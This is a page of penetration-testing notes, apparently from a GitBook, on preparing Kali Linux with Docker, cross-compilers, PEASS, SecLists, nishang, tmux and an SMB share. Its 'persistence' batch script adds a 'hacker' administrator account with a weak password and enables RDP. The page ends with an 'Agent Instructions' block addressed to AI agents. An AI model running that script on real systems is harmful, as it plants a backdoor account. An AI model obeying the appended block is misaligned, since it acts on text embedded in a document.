# 00 - Kali Linux Preparation

## Docker

### Install docker <a href="#install-docker" id="install-docker"></a>

```
sudo apt update
sudo apt install docker.io
```

### Install docker-compose

```
sudo curl -SL https://github.com/docker/compose/releases/download/v2.29.6/docker-compose-linux-x86_64 -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

# check with
sudo docker-compose
```

## Compiler & Interpreter

### GCC

```
# gcc linux


# gcc windows for kali linux
sudo apt install gcc-mingw-w64

# if your kali machine 64-bit 
sudo apt install gcc-multilib g++-multilib
sudo apt-get install libc6-dev:i386 gcc:i386

sudo apt-get install g++-multilib libc6-dev-i386
```

### Python2 & Python3

```
python2 --version

python --version
python3 --version

# install

sudo apt install python2
```

Pip2 & Pip3

If your Kali Linux have not pip2 just install with this documentation:

<https://pip.pypa.io/en/latest/installation/>

```
# download get-pip.py
https://bootstrap.pypa.io/pip/2.7/get-pip.py

# run get-pip
sudo python2 get-pip.py
```

## Important Program

### Wine

```
sudo apt install wine
```

### tmux

<https://tmuxcheatsheet.com/>

```
sudo apt instal tmux
```

### PEASS (LinPEAS & WinPEAS)

```
sudo apt install peass
```

```
# alternative

https://github.com/peass-ng/PEASS-ng/releases


wget https://github.com/peass-ng/PEASS-ng/releases/download/20241011-2e37ba11/winPEASany.exe -o winPEASany.exe
wget https://github.com/peass-ng/PEASS-ng/releases/download/20241011-2e37ba11/linpeas.sh -o linpeas.sh
```

## Resource to Upload

### Linux

**LinEnum.sh**

{% embed url="<https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh>" %}

### Windows

```
sudo apt install windows-binaries

# nc.exe and etc
windows-binaries
```

### **Persistence bat**

save to `hacker.bat`

```batch

:: This program need Administrator permission
:: Add User to Administrator and enables RDP

@ECHO OFF

TITLE Add user
ECHO Adding user ...
net user hacker password /add
net localgroup Administrator hacker /add
net localgroup "Remote Desktop Users" hacker /add
ECHO Enabling RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
ECHO =======================
ECHO User Added
ECHO =======================
net users
```

## Web Preparation

### Wordlist

SecList Wordlist (**1.51 GB**)

```bash
sudo apt install seclists
cp -r /usr/share/seclists /usr/share/wordlists/SecLists
```

## Script

```
# nishang payload
git clone https://github.com/samratashok/nishang.git
```

## Tmux Preparation

save this file to `~/.tmux.conf`  to help while copy paste in the tmux pane.

```
setw -g mode-keys vi
bind-key -T copy-mode-vi y send-keys -X copy-selection
```

run this command:

```
tmux source ~/.tmux.conf
```

note for tmux copy and paste:

`ctrl + [`  -> enter vi mode / copy mode

`space`        -> enter the copy block mode

`enter`        -> copy the selection

`ctrl + ]` -> paste

## Active Directory Preparation

### Windows PowerShell

```
git clone https://github.com/samratashok/nishang.git
```

## Setup SMB in Kali Linux

install samba

```
sudo apt install samba
```

backup the configuration

```
sudo mv /etc/samba/smb.conf /etc/samba/smb.conf.old
```

create this configuration to this file `/etc/samba/smb.conf`

```
[visualstudio]
 path = /home/kali/Desktop/visualstudio
 browseable = yes
 read only = no
```

Set SMB password for kali:

```
sudo smbpasswd -a kali
```

start services

```
sudo systemctl start smbd && sudo systemctl start nmbd
```

add permission for the path:

```
chmod -R 777 /home/kali/Desktop/visualstudio
```

Windows Computer/Server to mount the kali linux smb shares:

```
net use X: \\192.168.x.y\ /user:kali
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacker-mind.gitbook.io/hacker-mind/penetration-testing-notes/00-kali-linux-preparation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
